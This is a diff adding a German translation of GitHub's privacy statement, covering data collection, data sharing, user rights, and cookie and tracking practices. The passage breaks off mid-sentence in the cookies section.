+| [Änderungen an unserer Datenschutzerklärung](#changes-to-our-privacy-statement) | Wir benachrichtigen Sie über wesentliche Änderungen an dieser Datenschutzerklärung 30 Tage, bevor solche Änderungen in Kraft treten. Sie können Änderungen auch in unserem Site-Policy Repository nachverfolgen. |
+| [Lizenz](#license) | Diese Datenschutzerklärung ist unter der [Creative Commons Zero-Lizenz](https://creativecommons.org/publicdomain/zero/1.0/) lizenziert. |
+| [GitHub kontaktieren](#contacting-github) | Bitte zögern Sie nicht, uns zu kontaktieren, wenn Sie Fragen zu unserer Datenschutzerklärung haben. |
+| [Übersetzungen](#translations) | Wir stellen Links zu einigen Übersetzungen der Datenschutzerklärung bereit. |
+
+## GitHub Datenschutzerklärung
+
+## Wer ist für die Verarbeitung Ihrer Informationen zuständig?
+Der Datenverantwortliche für Ihre personenbezogenen Daten ist GitHub Inc. Für Personen außerhalb Nordamerikas ist der Datenverantwortliche GitHub B.V. 
+ 
+Diese Datenschutzerklärung gilt nicht für personenbezogene Daten, die wir als Dienstanbieter oder Datenverarbeiter im Namen unserer Unternehmenskunden verarbeiten. Unsere Datenverarbeitungsaktivitäten als Dienstleister oder Datenverarbeiter werden durch unsere [Datenschutzvereinbarung](https://github.com/customer-terms/github-data-protection-agreement) geregelt. Wenn Sie ein Endbenutzer vom Typ „Verbraucher“ einer dieser Organisationen sind, lesen Sie die Datenschutzerklärung der entsprechenden Organisation, und richten Sie Datenschutzanfragen an diese Organisation. 
+
+## Handlungen von GitHub in Ihrem Namen
+
+In einigen Fällen handelt GitHub in Bezug auf die personenbezogenen Daten, die wir in Verbindung mit unserem Dienst erfassen und verarbeiten, lediglich in Ihrem Namen (z. B. in Bezug auf die personenbezogenen Daten, die von den Mitwirkenden eines Repositorys zu diesem Repository hinzugefügt werden). In solchen Fällen verarbeitet GitHub die Daten nur, um den von Ihnen angeforderten Dienst bereitzustellen. Bitte beachten Sie, dass Anfragen von Mitwirkenden hinsichtlich der Entfernung personenbezogener Daten gemäß unserer [Richtlinie zum Entfernen privater Informationen](/site-policy/content-removal-policies/github-private-information-removal-policy) in der Regel eine Benachrichtigung des Repositorybesitzers sowie dessen Eingreifen erfordern.
+
+## Welche Informationen GitHub erhebt
+
+Welche personenbezogenen Daten wir erfassen, hängt davon ab, wie Sie mit uns interagieren, welche Dienste Sie nutzen und welche Entscheidungen Sie treffen. Wir erfassen Informationen über Sie aus verschiedenen Quellen und auf unterschiedliche Weise, wenn Sie unseren Dienst nutzen. Dies umfasst Informationen, die Sie direkt angeben, automatisch erfasste Informationen, Datenquellen von Dritten sowie Daten, die wir von anderen Daten ableiten oder auf deren Grundlage generieren.
+
+
+### Informationen, die Nutzer GitHub direkt bereitstellen
+Wir erfassen personenbezogene Daten, die Sie uns bereitstellen. Beispiel:
+
+#### Registrierungsinformationen
+Im Rahmen der Kontoerstellung erfassen wir Informationen wie Ihren Benutzernamen, Ihre E-Mail-Adresse und Ihr Kennwort.
+
+#### Demografische Informationen
+In manchen Fällen fordern wir Angaben wie Alter, Geschlecht und ähnliche demografische Details an.
+
+#### Zahlungs- und Abrechnungsinformationen
+Wenn Sie einen Kauf oder eine andere finanzielle Transaktion tätigen, erfassen wir Kreditkartennummern, Kontoinformationen und andere Zahlungsdetails.
+
+#### Inhalte und Dateien
+Wir erfassen alle Fotos, Dokumente oder andere Dateien, die Sie in unseren Dienst hochladen, und wenn Sie uns E-Mails oder andere Mitteilungen senden, erfassen wir diese Mitteilungen und bewahren sie auf. Sie können beispielsweise entscheiden, weitere Informationen für Ihr Kontoprofil anzugeben – etwa Ihren vollständigen Namen, einen Avatar (ggf. mit einem Foto), Ihre Biografie, Ihren Standort, Ihr Unternehmen oder eine URL einer Drittwebsite. Bitte beachten Sie, dass Ihre Profilinformationen möglicherweise für andere Nutzer unseres Dienstes sichtbar sind.
+
+### Von GitHub automatisch erfasste Informationen
+Wenn Sie unseren Dienst besuchen oder nutzen, werden einige Informationen automatisch erfasst. Beispiel:
+
+#### Transaktionsinformationen
+Wenn Sie über ein zahlungspflichtiges Konto bei uns verfügen oder einen Kauf oder Verkauf über unseren Dienst tätigen, erfassen wir automatisch bestimmte Informationen zu Ihren Transaktionen über den Dienst. Hierzu zählen beispielsweise Ihr vollständiger Name, Ihre Adresse, Ihre Region, Ihr Bundesland, Ihr Land, Ihre Postleitzahl, das Datum, die Uhrzeit und der berechnete Betrag. 
+
+#### Nutzungsinformationen
+Wenn Sie auf unseren Dienst zugreifen oder ihn nutzen, erfassen wir ggf. automatisch Informationen zu Ihrer Nutzung des Diensts. Hierzu zählen beispielsweise die von Ihnen angezeigten Seiten, die verweisende Website, Ihre IP-Adresse und Informationen zu Ihrem Gerät, Sitzungsinformationen, Datum und Uhrzeit der einzelnen Anforderungen, Informationen, die in Ihren Beiträgen zu einzelnen Repositorys enthalten sind oder sich auf diese beziehen, sowie Telemetriedaten (also Informationen zur Leistung eines bestimmten Features oder Diensts) hinsichtlich Ihrer Nutzung anderer Features und Funktionen des Diensts.
+
+#### Cookies
+Wie weiter unten ausführlicher beschrieben, erfassen wir automatisch Informationen aus Cookies (wie etwa Cookie-ID und -Einstellungen) in Verbindung mit unserem Dienst.
+
+#### Geräteinformationen
+Wir erfassen ggf. Informationen zu Ihrem Gerät. Hierzu zählen beispielsweise die IP-Adresse, Browser- oder Clientanwendungsinformationen, Spracheinstellungen, Betriebssystem- und Anwendungsversion, Gerätetyp und -ID sowie Gerätemodell und Hersteller. 
+
+#### Informationen zum geografischen Standort
+In Verbindung mit bestimmten Features und in Abhängigkeit von der Funktion des Diensts erfassen wir Informationen zum geografischen Standort, z. B. über IP-Adressen oder über die Standortinformationen, die Sie in Ihrem Kontoprofil angeben.
+
+### Von uns erstellte oder generierte Informationen
+Wir leiten neue Informationen aus anderen von uns erfassten Daten ab. Dazu verwenden wir unter anderem automatisierte Methoden, um Informationen zu Ihren wahrscheinlichen Präferenzen oder andere Merkmale zu generieren („Rückschlüsse“). Beispielsweise leiten wir von Ihrer IP-Adresse Ihren allgemeinen geografischen Standort (wie Stadt, Bundesland und Land) ab.
+
+### Informationen, die wir von Dritten erheben
+
+Andere Unternehmen, mit denen Sie interagieren: GitHub erfasst ggf. von Dritten personenbezogene Daten über Sie. Dies kann beispielsweise passieren, wenn Sie sich für eine Schulung anmelden oder Informationen über GitHub von einem unserer Anbieter, Partner oder verbundenen Unternehmen erhalten. GitHub erwirbt keine personenbezogenen Daten von externen Datenbrokern. 
+ 
+Dienstanbieter: Wir erhalten möglicherweise auch Informationen von Verarbeitern oder Dienstanbietern, die die Daten in unserem Auftrag verarbeiten. Ein Beispiel wäre etwa unser Zahlungsabwickler, der Zahlungs- und Abrechnungsinformationen in Verbindung mit unserem Dienst verarbeitet.
+ 
+Inhalte, die Sie in unserem Dienst veröffentlichen: Informationen, die Sie in einem öffentlichen Repository speichern oder zu diesem beisteuern, für die Verwendung in Verbindung mit einer Communityfunktion bereitstellen oder anderweitig über den Dienst öffentlich zugänglich machen, werden von GitHub wie in dieser Datenschutzerklärung beschrieben erfasst. Derartige Informationen können auch für die GitHub-Benutzercommunity sowie allgemein öffentlich zugänglich sein. Weitere Informationen zu öffentlichen Repositorys und Communityfeatures finden Sie [hier](/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/about-your-profile).
+ 
+Co-Branding- und Marketing-Partner: Wir erhalten möglicherweise Informationen von Partnern, mit denen wir Co-Branding-Dienste anbieten oder gemeinsame Marketingaktivitäten durchführen. 
+ 
+Öffentlich zugängliche Quellen: Gegebenenfalls beziehen wir auch Informationen aus öffentlich zugänglichen Quellen wie GitHub-Repositorys. 
+ 
+Wenn Sie aufgefordert werden, persönliche Daten zur Verfügung zu stellen, können Sie dies ablehnen. Außerdem können Sie Webbrowser- oder Betriebssystemeinstellungen verwenden, um bestimmte Arten der automatischen Datenerfassung zu unterbinden. Wenn Sie allerdings Informationen, die für bestimmte Dienste oder Features erforderlich sind, nicht bereitstellen oder nicht zulassen, sind diese Dienste oder Features möglicherweise nicht verfügbar oder nur eingeschränkt nutzbar.
+
+## Wie GitHub Ihre Informationen verwendet
+Wir können Ihre Daten verwenden, um unseren Dienst bereitzustellen, zu pflegen, zu analysieren, zu verwalten und zu betreiben. Ihre Informationen werden beispielsweise für folgende Zwecke genutzt:
+- Bereitstellung unserer Produkte und Dienste, einschließlich Fehlerbehandlung, Verbesserung und Personalisierung der Features des Diensts
+- Geschäftliche Vorgänge wie Abrechnung, Buchhaltung, Verbesserung unserer internen Abläufe, Schutz unserer Systeme, Erkennung betrügerischer oder gesetzeswidriger Aktivitäten und Erfüllung unserer gesetzlichen Pflichten
+- Verbesserung und Entwicklung unserer Produkte und Dienste – einschließlich Entwicklung neuer Dienste oder Features sowie Forschung
+- Personalisierung unseres Diensts durch Analyse Ihrer Person und Präferenzen, um die Nutzung unseres Diensts für Sie zu verbessern und noch attraktiver zu machen
+- Bereitstellung von Kundensupport und Beantwortung Ihrer Fragen
+- Übermittlung von Werbemitteilungen mit Informationen zu neuen Diensten, Features, Angeboten, Aktionen und anderen Informationen zu unserem Dienst
+- Personalisierung und Messung der Effektivität von Unternehmensanzeigen, Werbebenachrichtigungen oder Marketingkampagnen, die Sie in Bezug auf die Seiten für Unternehmensmarketing erhalten
+- Versand von Informationen wie Bestätigungen, Rechnungen, technischen Hinweisen, Updates und Sicherheitswarnungen sowie Support- und Verwaltungsnachrichten an Sie
+
+Wir kombinieren erfasste Daten aus verschiedenen Quellen für diese Zwecke und um Ihnen ein nahtloseres, konsistenteres und stärker personalisiertes Erlebnis zu bieten.
+
+## Wie wir die von uns erhobenen Informationen weitergeben
+
+Wir geben personenbezogene Daten wie im Folgenden beschrieben weiter, unter anderem mit Ihrer Zustimmung oder wenn die Weitergabe erforderlich ist, um Ihre Transaktionen abzuwickeln oder die von Ihnen angeforderten oder autorisierten Dienste bereitzustellen. Darüber hinaus können wir jede der oben beschriebenen Kategorien personenbezogener Daten für folgende geschäftliche Zwecke an die im Folgenden beschriebenen Arten von Dritten weitergeben:
+
+### Öffentliche Informationen
+Sie können in unserem Dienst verfügbare Optionen auswählen, um Ihren Namen und/oder Benutzernamen sowie bestimmte andere Informationen wie Ihr Profil, demografische Daten, Inhalte, Dateien oder Daten zum geografischen Standort öffentlich anzuzeigen und zu teilen. Wenn beispielsweise Ihre E-Mail-Adresse privat bleiben soll, auch wenn Sie öffentliche Repositorys kommentieren, können Sie die [Einstellung für Ihre E-Mail-Adresse in Ihrem Benutzerprofil anpassen, um sie als private E-Mail-Adresse zu konfigurieren](https://github.com/settings/emails). Sie können auch [Ihre lokale Git-Konfiguration für die Verwendung Ihrer privaten E-Mail-Adresse aktualisieren](/github/setting-up-and-managing-your-github-user-account/setting-your-commit-email-address). Weitere Informationen zu E-Mail-Adressen in Commit Nachrichten finden Sie [hier](/github/setting-up-and-managing-your-github-user-account/setting-your-commit-email-address). 
+
+Hinweis: Wenn Sie GitHub-Daten sammeln möchten, müssen Sie sich an unsere [Vertragsbedingungen](/site-policy/github-terms/github-terms-of-service) hinsichtlich Informationsnutzung und Datenschutz halten, und alle öffentlich zugänglichen Informationen, die Sie erfassen, dürfen ausschließlich für den Zweck genutzt werden, für den unser Benutzer sie freigegeben hat. Wenn beispielsweise ein GitHub-Benutzer eine E-Mail-Adresse zum Zweck der Identifikation und Zuordnung öffentlich zugänglich gemacht hat, darf diese E-Mail-Adresse nicht verwendet werden, um unerwünschte E-Mails an Benutzer zu senden oder personenbezogene Daten zu verkaufen – beispielsweise an Personalvermittler, Headhunter oder Jobbörsen oder für kommerzielle Werbung. Es wird erwartet, dass Sie Informationen, die Sie von GitHub erfasst haben, angemessen schützen und unverzüglich auf Beschwerden, Entfernungsanträge und Kontaktverbotsanfragen von GitHub oder GitHub-Benutzern reagieren.
+
+### Drittanbieteranwendungen
+Wir geben Ihre personenbezogenen Daten an Dritte weiter, wenn Sie uns dazu auffordern. Wenn Sie beispielsweise eine Anwendung kaufen, die in unserem Marketplace gelistet ist, geben wir Ihren Benutzernamen weiter, damit der Anwendungsentwickler Ihnen Dienste zur Verfügung stellen kann. Darüber hinaus können Sie uns durch Ihre Aktionen auf GitHub anweisen, Ihre personenbezogenen Daten weiterzugeben. Wenn Sie beispielsweise einer Organisation beitreten, zeigen Sie Ihre Bereitschaft an, dem Eigentümer der Organisation die Möglichkeit zu geben, Ihre Aktivitäten im Zugriffsprotokoll der Organisation einzusehen.
+ 
+Sie haben die Möglichkeit, Anwendungen von Drittanbietern („Entwicklerprodukte“) in Ihrem Konto zu aktivieren oder hinzuzufügen. Diese Entwicklerprodukte sind für Ihre Nutzung von GitHub nicht erforderlich. Wir geben Ihre personenbezogenen Daten an derartige Drittanbieteranwendungen weiter, wenn Sie uns dazu auffordern. Sie sind jedoch für Ihre Nutzung des Drittanbieter-Entwicklerprodukts und für die Menge an personenbezogenen Daten verantwortlich, die Sie freiwillig an das Produkt weitergeben. Sie können unsere [API-Dokumentation](/rest/reference/users) aufrufen, um zu sehen, welche Informationen bereitgestellt werden, wenn Sie sich mit Ihrem GitHub Profil bei einem Entwicklerprodukt authentifizieren.
+
+### Organisationen, mit denen Sie interagieren
+Sie können durch Ihre Aktionen auf GitHub angeben, dass Sie zur Weitergabe Ihrer personenbezogenen Daten bereit sind. Wenn Sie in einer Organisation mitarbeiten oder Mitglied einer Organisation werden, erhalten deren Kontoinhaber ggf. Ihre personenbezogenen Daten. Wenn Sie eine Einladung zu einer Organisation annehmen, werden Sie über die Arten von Informationen benachrichtigt, die möglicherweise für Besitzer sichtbar sind. (Weitere Informationen zur Mitgliedschaft in Organisationen finden Sie [hier](/github/setting-up-and-managing-your-github-user-account/about-organization-membership).) Wenden Sie sich an die Kontobesitzer, um weitere Informationen zur Verarbeitung Ihrer personenbezogenen Daten in deren Organisation zu erhalten und um zu erfahren, wie Sie auf die im Konto gespeicherten personenbezogenen Daten zugreifen und sie aktualisieren, ändern oder löschen können. 
+
+### Dienstanbieter
+Wir geben Ihre personenbezogenen Daten an Dienstanbieter weiter, die die Informationen in unserem Auftrag verarbeiten, um unseren Dienst bereitzustellen oder zu verbessern. Unsere Dienstanbieter können beispielsweise Aspekte wie Zahlungsabwicklung, Ticketing für den Kundensupport, Netzwerkdatenübertragung, Web Analytics, Marketingkampagnen, Sicherheit und ähnliche Dienste übernehmen. GitHub verarbeitet alle personenbezogenen Daten in den Vereinigten Staaten. Unsere Dienstleister können Daten allerdings außerhalb der Vereinigten Staaten oder der Europäischen Union verarbeiten. Eine derartige Verarbeitung durch Dienstanbieter erfolgt in Übereinstimmung mit geltendem Recht. Dies schließt auch alle relevanten Übertragungsmechanismen mit ein. 
+ 
+ ### Verbundene Unternehmen
+ Wir ermöglichen den Zugriff auf personenbezogene Daten in allen unseren Tochtergesellschaften und verbundenen/zugehörigen Unternehmen, mit denen wir beispielsweise gemeinsame Datensysteme nutzen, wenn verbundene Unternehmen Dienste in unserem Auftrag bereitstellen oder wenn Zugriff benötigt wird, um den Dienst zu betreiben und bereitzustellen. 
+
+### Aus Sicherheitsgründen
+Wir legen personenbezogene Daten offen, wenn dies nach unserem Ermessen erforderlich ist, um:
+- unsere Kunden und andere zu schützen – beispielsweise, um Spam oder Betrugsversuche zu verhindern oder um dazu beizutragen, schwere Personenschäden oder den Verlust von Menschenleben zu verhindern, 
+- den Dienst zu betreiben und dessen Sicherheit zu gewährleisten, einschließlich der Verhinderung oder Abwehr eines Angriffs auf unsere Systeme oder Netzwerke, oder 
+- die Rechte oder das Eigentum oder uns selbst oder andere zu schützen, was unter anderem die Durchsetzung unserer Vereinbarungen, Bedingungen und Richtlinien einschließt.
+
+
+### Zur rechtlichen Offenlegung
+GitHub kann personenbezogene Daten oder andere Informationen, die wir über Sie erfassen, an Strafverfolgungsbehörden oder andere staatliche Stellen weitergeben, wenn dies aufgrund eines gültigen Rechtsverfahrens erforderlich ist. Weitere Informationen zu unserer Offenlegung als Reaktion auf rechtliche Anfragen finden Sie in unseren [Richtlinien für rechtliche Anfragen von Nutzerdaten](/github/site-policy/guidelines-for-legal-requests-of-user-data).
+
+### Verantwortlichkeitswechsel oder Verkauf
+Wir geben Ihre personenbezogenen Daten ggf. weiter, wenn wir an einer Fusion, einem Verkauf oder einer Übernahme von juristischen Personen oder Unternehmenseinheiten beteiligt sind, wie in dieser Datenschutzerklärung beschrieben.
+ 
+Beachten Sie, dass einige der Features unseres Diensts Integrationen, Verweise oder Verknüpfungen mit Diensten enthalten, die von Dritten bereitgestellt werden, deren Datenschutzpraktiken sich von unseren unterscheiden. Wenn Sie diesen Dritten personenbezogene Daten zur Verfügung stellen oder uns die Weitergabe personenbezogener Daten an sie gestatten, unterliegen diese Daten den Datenschutzerklärungen dieser Dritten.
+ 
+Außerdem geben wir ggf. anonymisierte Informationen in Übereinstimmung mit geltendem Recht weiter.
+
+### Kein Verkauf personenbezogener Daten
+Ihre personenbezogenen Daten werden von uns *nicht* für monetäre oder andere Vergütung verkauft, wie in den Gesetzen der Bundesstaaten Kalifornien und Nevada definiert.
+Sie können [hier](#githubs-notice-to-california-residents) mehr über CCPA und unsere Einhaltung erfahren.
+
+## Ihre Optionen hinsichtlich der Verarbeitung Ihrer personenbezogenen Daten
+Wir bieten Optionen in Bezug auf die personenbezogenen Daten, die wir über Sie sammeln. Die von Ihnen getroffenen Entscheidungen gelten nicht für personenbezogene Daten im Zusammenhang mit einer Organisation unter Ihrem Konto. 
+ 
+Zugriff, Berichtigung und Löschung: Als GitHub-Benutzer können Sie auf Ihre grundlegenden Benutzerprofilinformationen zugreifen und diese aktualisieren, ändern oder löschen, indem Sie [Ihr Benutzerprofil bearbeiten](https://github.com/settings/profile) oder sich an den [GitHub-Support](https://support.github.com/contact) oder an den [GitHub Premium-Support](https://enterprise.githubsupport.com/hc/en-us) wenden. Sie können steuern, welche Informationen wir über Sie erfassen, indem Sie die in Ihrem Profil enthaltenen Informationen einschränken, Ihre Informationen auf dem neuesten Stand halten, Ihre Cookie-Einstellungen ändern oder sich an den [GitHub-Support](https://support.github.com/contact) oder an den [GitHub Premium-Support](https://enterprise.githubsupport.com/hc/en-us) wenden.
+ 
+Ihre Informationen werden von uns wie in dieser Datenschutzerklärung beschrieben aufbewahrt und genutzt. Vorbehaltlich gesetzlicher Anforderungen wird Ihr vollständiges Profil innerhalb von 90 Tagen nach Ihrer Anfrage gelöscht. Nachdem ein Konto gelöscht wurde, bleiben bestimmte Daten, wie z. B. Beiträge zu den Repositories anderer Nutzer und Kommentare in den Ausgaben anderer, erhalten. Ihre personenbezogenen Daten wie etwa Ihr Benutzername und Ihre E-Mail-Adresse werden jedoch aus dem Autorenfeld von Issues, Pull Requests und Kommentaren gelöscht oder mittels Zuordnung zu einem Ghost-Benutzer anonymisiert. Dabei ist jedoch zu beachten, dass die von Ihnen über die Git-Commiteinstellungen angegebene E-Mail-Adresse immer mit Ihren Commits im Git-System verknüpft ist. Wenn Sie Ihre E-Mail-Adresse privat machen möchten, sollten Sie auch Ihre Git Commit Einstellungen aktualisieren. Wir können keine Daten im Git Commit Verlauf ändern oder löschen – die Git Software wurde entwickelt, um Aufzeichnungen zu führen – aber wir ermöglichen Ihnen, zu kontrollieren, welche Informationen Sie in diese Aufzeichnung eingeben haben.
+ 
+Wenn GitHub personenbezogene Daten verarbeitet, bei denen es sich nicht um Ihre Profilinformationen handelt (beispielsweise Informationen über Sie, die GitHub von [Drittanbietern](/github/site-policy/github-privacy-statement#information-we-collect-from-third-parties) erhält), können Sie vorbehaltlich geltenden Rechts auf Ihre personenbezogenen Daten zugreifen, sie aktualisieren, ändern, löschen, ihrer Verarbeitung widersprechen oder ihre Verarbeitung einschränken, indem Sie sich an den [GitHub-Support](https://support.github.com/contact) oder an den [GitHub Premium-Support](https://enterprise.githubsupport.com/hc/en-us) wenden.  
+ 
+Sie können die Einstellungen für Ihr Konto hinsichtlich der Anzeige Ihrer personenbezogenen Daten in privaten oder öffentlichen Repositorys oder hinsichtlich personenbezogener Daten, die in Verbindung mit Communityfeatures wie GitHub Feed, GitHub Sponsors und GitHub Explore verarbeitet werden, über die [Profileinstellungen](https://github.com/settings/profile) anpassen.
+ 
+Außerdem gilt: Wenn Sie auf bestimmte personenbezogene Daten, über die wir verfügen, nicht mit den oben beschriebenen Methoden zugreifen können, können Sie Zugriff anfordern, indem Sie sich wie am Ende dieser Datenschutzerklärung beschrieben an uns wenden.
+
+### Datenportabilität
+
+Als GitHub Nutzer können Sie Ihre Daten immer mitnehmen. Sie können beispielsweise [Ihre Repositories auf Ihren Desktop klonen](/desktop/contributing-to-projects/cloning-a-repository-from-github-to-github-desktop) oder Sie können unsere [Tools zur Datenübertragbarkeit](https://developer.github.com/changes/2018-05-24-user-migration-api/) verwenden, um Informationen herunterzuladen, die wir über Sie haben.
+
+### Kommunikationspräferenzen
+Wir verwenden Ihre E-Mail-Adresse, um mit Ihnen zu kommunizieren, wenn Sie damit einverstanden sind, und nur aus den Gründen, denen Sie zugestimmt haben. Wenn Sie sich beispielsweise mit einer Anfrage an unser Support-Team wenden, antworten wir Ihnen per E-Mail. Sie können steuern, wie Ihre E-Mail-Adresse verwendet und in unserem bzw. über unseren Dienst weitergegeben werden soll. Sie können Ihre Kommunikationspräferenzen in Ihrem [Profil](https://github.com/settings/emails) verwalten.
+ 
+Das Git-Quellcodeverwaltungssystem ordnet viele Aktionen standardmäßig der E-Mail-Adresse eines Benutzers zu (beispielsweise Commit-Mitteilungen). Ausführlichere Informationen zum Festlegen Ihrer E-Mail-Adresse für Commits finden Sie [hier](https://github.com/settings/emails). 
+ 
+Abhängig von Ihren [E-Mail-Einstellungen](https://github.com/settings/emails) sendet GitHub möglicherweise gelegentlich Benachrichtigungs-E-Mails, beispielsweise zu Änderungen in einem von Ihnen beobachteten Repository, zu neuen Features, zur Anforderung von Feedback, zu wichtigen Richtlinienänderungen oder zur Bereitstellung von Kundensupport. Wir versenden ggf. auch Marketing-E-Mails, basierend auf Ihren Entscheidungen und in Übereinstimmung mit geltenden Gesetzen und Regelungen. Am Ende jeder Marketing-E-Mail, die wir Ihnen senden, befindet sich ein „Abbestellen“-Link. 
+ 
+Bitte beachten Sie, dass Sie den Erhalt wichtiger Mitteilungen von uns, wie z. B. E-Mails von unserem Support-Team oder System-E-Mails, nicht abbestellen können, aber Sie können Ihre Benachrichtigungseinstellungen in Ihrem Profil konfigurieren, um andere Mitteilungen abzubestellen.
+
+### Europäische Datenschutzrechte
+ 
+Wenn die Verarbeitung der Sie betreffenden personenbezogenen Daten dem Datenschutzrecht der Europäischen Union unterliegt, haben Sie bestimmte Rechte in Bezug auf diese Daten:
+ 
+Sie können Zugriff auf personenbezogene Daten sowie deren Berichtigung oder Löschung verlangen. Wenn die automatisierte Verarbeitung personenbezogener Daten auf Ihrer Zustimmung oder auf einem Vertrag mit Ihnen beruht, haben Sie das Recht, die personenbezogenen Daten zu übertragen oder eine Kopie der personenbezogenen Daten in einem verwendbaren und portierbaren Format zu erhalten. Wenn die Verarbeitung personenbezogener Daten auf Ihrer Zustimmung beruht, können Sie die Zustimmung für die zukünftige Verarbeitung jederzeit widerrufen. Unter bestimmten Umständen können Sie der Verarbeitung personenbezogener Daten widersprechen oder eine Beschränkung der Verarbeitung erwirken. In Frankreich ansässige Personen können uns außerdem spezielle Anweisungen hinsichtlich der Verwendung ihrer Daten nach dem Tod senden.
+ 
+Verwenden Sie für derartige Anfragen die Kontaktinformationen am Ende dieser Erklärung.  Wenn wir Daten im Auftrag einer anderen Partei verarbeiten und GitHub somit als Datenverarbeiter fungiert, richten Sie Ihre Anfrage an die entsprechende Partei. Sie haben auch das Recht, eine Beschwerde bei einer Aufsichtsbehörde einzureichen. Wir empfehlen jedoch, sich mit Fragen oder Anliegen zunächst an uns zu wenden.
+ 
+Unsere Erfassung und Verarbeitung personenbezogener Daten über Sie basiert auf verschiedenen Rechtsgrundlagen. Sie wird beispielsweise mit Ihrer Zustimmung und/oder in dem Umfang durchgeführt, der notwendig ist, um die von Ihnen genutzten Dienste bereitzustellen, unseren Geschäftsbetrieb zu ermöglichen, unsere vertraglichen und gesetzlichen Pflichten zu erfüllen, die Sicherheit unserer Systeme und Kunden zu gewährleisten oder andere berechtigte Interessen zu erfüllen.
+
+## Unsere Verwendung von Cookies und Trackingtechnologien
+
+### Cookies und Trackingtechnologien
+
+GitHub verwendet Cookies, um unseren Dienst bereitzustellen, zu schützen und zu verbessern oder um neue Features und Funktionen unseres Diensts zu entwickeln. Beispielsweise verwenden wir sie, um (i) Sie eingeloggt zu lassen, (ii) Ihre Präferenzen zu speichern, (iii) Ihr Gerät für Sicherheitszwecke und zum Schutz vor Betrug zu identifizieren, einschließlich zum Wahren der Integrität unseres Diensts, (iv) statistische Berichte zu erstellen und (v) Informationen für die zukünftige Entwicklung von GitHub bereitzustellen. Wir bieten weitere Informationen zu [Cookies auf GitHub](https://github.com/privacy/cookies), die die von uns gesetzten Cookies, unsere Anforderungen in Bezug auf diese Cookies und den Ablauf solcher Cookies beschreiben. 
+
+Für Seiten für Unternehmensmarketing verwenden wir unter Umständen auch nicht erforderliche Cookies, um (i) Informationen über die Interessen und Online-Aktivitäten der Unternehmensbenutzer zu erhalten, damit wir ihre Erfahrungen personalisieren können (u. a. indem wir relevantere Anzeigen, Inhalte, Empfehlungen und Marketingkampagnen bereitstellen, die diese sehen oder erhalten) und (ii) die Effektivität zielgerichteter Werbung und anderer Marketingkampagnen verarbeiten und messen. Wenn Sie nicht erforderliche Cookies auf den Seiten für Unternehmensmarketing deaktivieren, werden Ihnen möglicherweise weniger relevante Anzeigen, Inhalte und Marketingkampagnen angezeigt.
+
+Unsere E-Mails an Benutzer enthalten ggf. ein Pixel-Tag. Hierbei handelt es sich um ein kleines, transparentes Bild, über das wir ermitteln können, ob Sie eine E-Mail geöffnet haben und wie Ihre IP-Adresse lautet. Wir verwenden dieses Pixel-Tag, um unsere E-Mail-Kommunikation für Sie effektiver zu gestalten und um sicherzustellen, dass wir Ihnen keine unerwünschten E-Mails senden.
+
+Wie lange ein Cookie in Ihrem Browser oder auf Ihrem Gerät gespeichert ist, hängt davon ab, ob es ein beständiges Cookie oder ein Sitzungscookie ist. Sitzungscookies bleiben nur bis zum Ende der Sitzung gespeichert. Beständige Cookies bleiben gespeichert, bis sie ablaufen oder gelöscht werden. Die Ablaufdauer bzw. der Aufbewahrungszeitraum dauerhafter Cookies hängt vom Zweck der erfassten Cookies und vom verwendeten Tool ab. Sie können Cookiedaten wie hier beschrieben löschen.
+
+#### Was sind Cookies und ähnliche Technologien?
+
+Wir verwenden Cookies und ähnliche Technologien wie Webbeacons, lokalen Speicher und mobile Analysen, um unsere Dienste zu betreiben und bereitzustellen. Wenn Sie Seiten für Unternehmensmarketing wie resources.github.com besuchen, werden diese und weitere Cookies wie Werbe-IDs ggf. für Verkaufs- und Marketingzwecke verwendet.
+
+Cookies sind kleine Textdateien, die von Ihrem Browser auf Ihrem Gerät gespeichert werden. Ein Cookie kann später gelesen werden, wenn Ihr Browser eine Verbindung mit einem Webserver in der gleichen Domäne herstellt, die das Cookie platziert hat. Der Text in einem Cookie enthält eine Reihe von Zahlen und Buchstaben, die Ihren Computer eindeutig identifizieren können. Er kann jedoch auch weitere Informationen enthalten. Dies ermöglicht es dem Webserver, Ihren Browser im Laufe der Zeit wiederzuerkennen, wenn er eine Verbindung mit diesem Webserver herstellt.
+
+Webbeacons sind elektronische Bilder (auch als „Ein-Pixel-Bilder“ oder „clear GIFs“ bezeichnet), die in einer Website oder E-Mail enthalten sind. Wenn ein Browser eine Webseite oder E-Mail öffnet, die ein Webbeacon enthält, stellt er automatisch eine Verbindung mit dem Webserver her, der das Bild hostet (wird üblicherweise von einem Drittanbieter betrieben). Dies ermöglicht es dem Webserver, Informationen über Ihr Gerät zu protokollieren und seine eigenen Cookies zu setzen und zu lesen. Ebenso führen Inhalte von Drittanbietern auf unseren Websites (z. B. eingebettete Videos, Plug-Ins oder Anzeigen) dazu, dass Ihr Browser eine Verbindung mit dem Webserver des Drittanbieters herstellt, der die Inhalte hostet. 
+
+Apps auf mobilen Geräten können auf mobile Bezeichner für Analysen genauso zugreifen und diese verwenden, wie es bei Websites in Bezug auf Cookies der Fall ist. Wenn Sie Seiten für Unternehmensmarketing wie etwa resources.github.com auf einem mobilen Gerät besuchen, ermöglichen diese es uns und unseren Partnern für Drittanbieter-Analysen und -Werbung ggf., Daten für Verkaufs- und Marketingzwecke zu erfassen.
+
+Unter Umständen verwenden wir auch sogenannte Flash-Cookies (auch als „Local Shared Objects“ oder „LSOs“ bekannt), um Informationen zu Ihrer Verwendung unserer Dienste zu erfassen und zu speichern. Flash-Cookies werden häufig für Werbung und für Videos verwendet.
+
+#### Wie verwenden wir und unsere Partner Cookies und ähnliche Technologien?
+
+Die GitHub-Dienste verwenden Cookies und ähnliche Technologien für verschiedene Zwecke. So können wir beispielsweise Ihre Einstellungen speichern, Ihnen das Anmelden ermöglichen, die Leistung unserer Dienste analysieren, Ihre Interaktion mit den Diensten nachverfolgen, Rückschlüsse entwickeln, Betrug bekämpfen und andere rechtmäßige Zwecke erfüllen. Einige dieser Cookies und Technologien werden möglicherweise von Drittanbietern wie etwa von Dienstanbietern und Werbepartnern bereitgestellt. Unsere Analyse- und Werbepartner verwenden diese Technologien in unseren Diensten unter Umständen, um personenbezogene Informationen zu erfassen (wie etwa die von Ihnen besuchten Seiten, die angeklickten Links und ähnliche Nutzungsinformationen, Bezeichner und Geräteinformationen), die sich auf Ihre Online-Aktivitäten im Laufe der Zeit und über verschiedene Dienste hinweg beziehen und die für verschiedene Zwecke wie etwa die zielgerichtete Werbung genutzt werden. GitHub setzt nicht erforderliche Cookies auf Seiten, über die 